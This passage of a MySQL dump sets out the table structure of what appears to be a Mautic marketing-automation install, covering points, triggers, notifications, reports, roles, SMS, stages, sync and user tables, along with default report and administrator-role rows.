  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `type` varchar(50) NOT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `repeatable` tinyint(1) NOT NULL,
  `delta` int(11) NOT NULL,
  `properties` longtext NOT NULL COMMENT '(DC2Type:array)',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_groups`
--

CREATE TABLE `[[dbprefix]]point_groups` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)',
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_group_contact_score`
--

CREATE TABLE `[[dbprefix]]point_group_contact_score` (
  `contact_id` bigint(20) UNSIGNED NOT NULL,
  `group_id` int(10) UNSIGNED NOT NULL,
  `score` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_lead_action_log`
--

CREATE TABLE `[[dbprefix]]point_lead_action_log` (
  `point_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_fired` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_lead_event_log`
--

CREATE TABLE `[[dbprefix]]point_lead_event_log` (
  `event_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_fired` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_projects_xref`
--

CREATE TABLE `[[dbprefix]]point_projects_xref` (
  `point_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_triggers`
--

CREATE TABLE `[[dbprefix]]point_triggers` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `group_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `points` int(11) NOT NULL,
  `color` varchar(7) NOT NULL,
  `trigger_existing_leads` tinyint(1) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_trigger_events`
--

CREATE TABLE `[[dbprefix]]point_trigger_events` (
  `id` int(10) UNSIGNED NOT NULL,
  `trigger_id` int(10) UNSIGNED NOT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `type` varchar(50) NOT NULL,
  `action_order` int(11) NOT NULL,
  `properties` longtext NOT NULL COMMENT '(DC2Type:array)',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]point_trigger_projects_xref`
--

CREATE TABLE `[[dbprefix]]point_trigger_projects_xref` (
  `point_trigger_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]projects`
--

CREATE TABLE `[[dbprefix]]projects` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `properties` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`properties`)),
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]push_ids`
--

CREATE TABLE `[[dbprefix]]push_ids` (
  `id` int(11) NOT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `push_id` varchar(191) NOT NULL,
  `enabled` tinyint(1) NOT NULL,
  `mobile` tinyint(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]push_notifications`
--

CREATE TABLE `[[dbprefix]]push_notifications` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `translation_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `url` longtext DEFAULT NULL,
  `heading` longtext NOT NULL,
  `message` longtext NOT NULL,
  `button` longtext DEFAULT NULL,
  `utm_tags` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `notification_type` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `read_count` int(11) NOT NULL,
  `sent_count` int(11) NOT NULL,
  `mobile` tinyint(1) NOT NULL,
  `mobileSettings` longtext NOT NULL COMMENT '(DC2Type:array)',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)',
  `lang` varchar(191) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]push_notification_list_xref`
--

CREATE TABLE `[[dbprefix]]push_notification_list_xref` (
  `notification_id` int(10) UNSIGNED NOT NULL,
  `leadlist_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]push_notification_stats`
--

CREATE TABLE `[[dbprefix]]push_notification_stats` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `notification_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `list_id` int(10) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_sent` datetime NOT NULL,
  `date_read` datetime DEFAULT NULL,
  `is_clicked` tinyint(1) NOT NULL,
  `date_clicked` datetime DEFAULT NULL,
  `tracking_hash` varchar(191) DEFAULT NULL,
  `retry_count` int(11) DEFAULT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `tokens` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `click_count` int(11) DEFAULT NULL,
  `last_clicked` datetime DEFAULT NULL,
  `click_details` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]reports`
--

CREATE TABLE `[[dbprefix]]reports` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `system` tinyint(1) NOT NULL,
  `source` varchar(191) NOT NULL,
  `columns` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `filters` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `table_order` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `graphs` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `group_by` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `aggregators` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `settings` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`settings`)),
  `is_scheduled` tinyint(1) NOT NULL,
  `schedule_unit` varchar(191) DEFAULT NULL,
  `to_address` varchar(191) DEFAULT NULL,
  `schedule_day` varchar(191) DEFAULT NULL,
  `schedule_month_frequency` varchar(191) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]reports`
--

INSERT INTO `[[dbprefix]]reports` VALUES
(1, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Visits published Pages', NULL, 1, 'page.hits', 'a:7:{i:0;s:11:\"ph.date_hit\";i:1;s:6:\"ph.url\";i:2;s:12:\"ph.url_title\";i:3;s:10:\"ph.referer\";i:4;s:12:\"i.ip_address\";i:5;s:7:\"ph.city\";i:6;s:10:\"ph.country\";}', 'a:2:{i:0;a:3:{s:6:\"column\";s:7:\"ph.code\";s:9:\"condition\";s:2:\"eq\";s:5:\"value\";s:3:\"200\";}i:1;a:3:{s:6:\"column\";s:14:\"p.is_published\";s:9:\"condition\";s:2:\"eq\";s:5:\"value\";s:1:\"1\";}}', 'a:1:{i:0;a:2:{s:6:\"column\";s:11:\"ph.date_hit\";s:9:\"direction\";s:3:\"ASC\";}}', 'a:8:{i:0;s:35:\"mautic.page.graph.line.time.on.site\";i:1;s:27:\"mautic.page.graph.line.hits\";i:2;s:38:\"mautic.page.graph.pie.new.vs.returning\";i:3;s:31:\"mautic.page.graph.pie.languages\";i:4;s:34:\"mautic.page.graph.pie.time.on.site\";i:5;s:27:\"mautic.page.table.referrers\";i:6;s:30:\"mautic.page.table.most.visited\";i:7;s:37:\"mautic.page.table.most.visited.unique\";}', 'a:0:{}', 'a:0:{}', '[]', 0, NULL, NULL, NULL, NULL, '0e49a3d5-6726-4ac7-9dab-d8d9374f4320'),
(2, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Downloads of all Assets', NULL, 1, 'asset.downloads', 'a:7:{i:0;s:16:\"ad.date_download\";i:1;s:7:\"a.title\";i:2;s:12:\"i.ip_address\";i:3;s:11:\"l.firstname\";i:4;s:10:\"l.lastname\";i:5;s:7:\"l.email\";i:6;s:4:\"a.id\";}', 'a:1:{i:0;a:3:{s:6:\"column\";s:14:\"a.is_published\";s:9:\"condition\";s:2:\"eq\";s:5:\"value\";s:1:\"1\";}}', 'a:1:{i:0;a:2:{s:6:\"column\";s:16:\"ad.date_download\";s:9:\"direction\";s:3:\"ASC\";}}', 'a:4:{i:0;s:33:\"mautic.asset.graph.line.downloads\";i:1;s:31:\"mautic.asset.graph.pie.statuses\";i:2;s:34:\"mautic.asset.table.most.downloaded\";i:3;s:32:\"mautic.asset.table.top.referrers\";}', 'a:0:{}', 'a:0:{}', '[]', 0, NULL, NULL, NULL, NULL, '15343522-9d8d-4564-bb34-3c387177777d'),
(3, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Submissions of published Forms', NULL, 1, 'form.submissions', 'a:0:{}', 'a:1:{i:1;a:3:{s:6:\"column\";s:14:\"f.is_published\";s:9:\"condition\";s:2:\"eq\";s:5:\"value\";s:1:\"1\";}}', 'a:0:{}', 'a:3:{i:0;s:34:\"mautic.form.graph.line.submissions\";i:1;s:32:\"mautic.form.table.most.submitted\";i:2;s:31:\"mautic.form.table.top.referrers\";}', 'a:0:{}', 'a:0:{}', '[]', 0, NULL, NULL, NULL, NULL, '954e687e-0587-423c-b182-8ce8c6340bb7'),
(4, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'All Emails', NULL, 1, 'email.stats', 'a:5:{i:0;s:12:\"es.date_sent\";i:1;s:12:\"es.date_read\";i:2;s:9:\"e.subject\";i:3;s:16:\"es.email_address\";i:4;s:4:\"e.id\";}', 'a:1:{i:0;a:3:{s:6:\"column\";s:14:\"e.is_published\";s:9:\"condition\";s:2:\"eq\";s:5:\"value\";s:1:\"1\";}}', 'a:1:{i:0;a:2:{s:6:\"column\";s:12:\"es.date_sent\";s:9:\"direction\";s:3:\"ASC\";}}', 'a:6:{i:0;s:29:\"mautic.email.graph.line.stats\";i:1;s:42:\"mautic.email.graph.pie.ignored.read.failed\";i:2;s:35:\"mautic.email.table.most.emails.read\";i:3;s:35:\"mautic.email.table.most.emails.sent\";i:4;s:43:\"mautic.email.table.most.emails.read.percent\";i:5;s:37:\"mautic.email.table.most.emails.failed\";}', 'a:0:{}', 'a:0:{}', '[]', 0, NULL, NULL, NULL, NULL, 'f555d452-2982-452b-bfe0-60b4c900e220'),
(5, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Leads and Points', NULL, 1, 'lead.pointlog', 'a:7:{i:0;s:13:\"lp.date_added\";i:1;s:7:\"lp.type\";i:2;s:13:\"lp.event_name\";i:3;s:11:\"l.firstname\";i:4;s:10:\"l.lastname\";i:5;s:7:\"l.email\";i:6;s:8:\"lp.delta\";}', 'a:0:{}', 'a:1:{i:0;a:2:{s:6:\"column\";s:13:\"lp.date_added\";s:9:\"direction\";s:3:\"ASC\";}}', 'a:6:{i:0;s:29:\"mautic.lead.graph.line.points\";i:1;s:29:\"mautic.lead.table.most.points\";i:2;s:29:\"mautic.lead.table.top.actions\";i:3;s:28:\"mautic.lead.table.top.cities\";i:4;s:31:\"mautic.lead.table.top.countries\";i:5;s:28:\"mautic.lead.table.top.events\";}', 'a:0:{}', 'a:0:{}', '[]', 0, NULL, NULL, NULL, NULL, '67ebeff8-c92e-4bd1-9c1a-6bfcdbda0bd1');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]reports_schedulers`
--

CREATE TABLE `[[dbprefix]]reports_schedulers` (
  `id` int(10) UNSIGNED NOT NULL,
  `report_id` int(10) UNSIGNED NOT NULL,
  `schedule_date` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]roles`
--

CREATE TABLE `[[dbprefix]]roles` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `is_admin` tinyint(1) NOT NULL,
  `readable_permissions` longtext NOT NULL COMMENT '(DC2Type:array)',
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]roles`
--

INSERT INTO `[[dbprefix]]roles` VALUES
(1, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrator', 'Full system access', 1, 'N;', '956946a9-7366-4e33-9334-462a87f65157');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]saml_id_entry`
--

CREATE TABLE `[[dbprefix]]saml_id_entry` (
  `id` varchar(191) NOT NULL,
  `entity_id` varchar(191) NOT NULL,
  `expiryTimestamp` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sms_messages`
--

CREATE TABLE `[[dbprefix]]sms_messages` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `translation_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `message` longtext NOT NULL,
  `sms_type` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `sent_count` int(11) NOT NULL,
  `lang` varchar(191) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sms_message_list_xref`
--

CREATE TABLE `[[dbprefix]]sms_message_list_xref` (
  `sms_id` int(10) UNSIGNED NOT NULL,
  `leadlist_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sms_message_stats`
--

CREATE TABLE `[[dbprefix]]sms_message_stats` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `sms_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `list_id` int(10) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_sent` datetime NOT NULL,
  `is_failed` tinyint(1) DEFAULT NULL,
  `tracking_hash` varchar(191) DEFAULT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `tokens` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `details` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`details`))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sms_projects_xref`
--

CREATE TABLE `[[dbprefix]]sms_projects_xref` (
  `sms_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]stages`
--

CREATE TABLE `[[dbprefix]]stages` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `weight` int(11) NOT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]stage_lead_action_log`
--

CREATE TABLE `[[dbprefix]]stage_lead_action_log` (
  `stage_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_fired` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]stage_projects_xref`
--

CREATE TABLE `[[dbprefix]]stage_projects_xref` (
  `stage_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sync_object_field_change_report`
--

CREATE TABLE `[[dbprefix]]sync_object_field_change_report` (
  `id` int(10) UNSIGNED NOT NULL,
  `integration` varchar(191) NOT NULL,
  `object_id` bigint(20) UNSIGNED NOT NULL,
  `object_type` varchar(191) NOT NULL,
  `modified_at` datetime NOT NULL,
  `column_name` varchar(191) NOT NULL,
  `column_type` varchar(191) NOT NULL,
  `column_value` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]sync_object_mapping`
--

CREATE TABLE `[[dbprefix]]sync_object_mapping` (
  `id` int(10) UNSIGNED NOT NULL,
  `date_created` datetime NOT NULL,
  `integration` varchar(191) NOT NULL,
  `internal_object_name` varchar(191) NOT NULL,
  `internal_object_id` bigint(20) UNSIGNED NOT NULL,
  `integration_object_name` varchar(191) NOT NULL,
  `integration_object_id` varchar(191) NOT NULL,
  `last_sync_date` datetime NOT NULL,
  `internal_storage` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`internal_storage`)),
  `is_deleted` tinyint(1) NOT NULL,
  `integration_reference_id` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]tweets`
--

CREATE TABLE `[[dbprefix]]tweets` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `page_id` int(10) UNSIGNED DEFAULT NULL,
  `asset_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `media_id` varchar(191) DEFAULT NULL,
  `media_path` varchar(191) DEFAULT NULL,
  `text` varchar(191) NOT NULL,
  `sent_count` int(11) DEFAULT NULL,
  `favorite_count` int(11) DEFAULT NULL,
  `retweet_count` int(11) DEFAULT NULL,
  `lang` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]tweet_stats`
--

CREATE TABLE `[[dbprefix]]tweet_stats` (
  `id` int(10) UNSIGNED NOT NULL,
  `tweet_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `twitter_tweet_id` varchar(191) DEFAULT NULL,
  `handle` varchar(191) NOT NULL,
  `date_sent` datetime DEFAULT NULL,
  `is_failed` tinyint(1) DEFAULT NULL,
  `retry_count` int(11) DEFAULT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `favorite_count` int(11) DEFAULT NULL,
  `retweet_count` int(11) DEFAULT NULL,
  `response_details` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`response_details`))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]users`
--

CREATE TABLE `[[dbprefix]]users` (
  `id` int(10) UNSIGNED NOT NULL,
  `role_id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `username` varchar(191) NOT NULL,
  `password` varchar(64) NOT NULL,
  `first_name` varchar(191) NOT NULL,
  `last_name` varchar(191) NOT NULL,
  `email` varchar(191) NOT NULL,
  `position` varchar(191) DEFAULT NULL,
  `timezone` varchar(191) DEFAULT NULL,
  `locale` varchar(191) DEFAULT NULL,
  `last_login` datetime DEFAULT NULL,
  `last_active` datetime DEFAULT NULL,
  `preferences` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `signature` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]users`
--

INSERT INTO `[[dbprefix]]users` VALUES
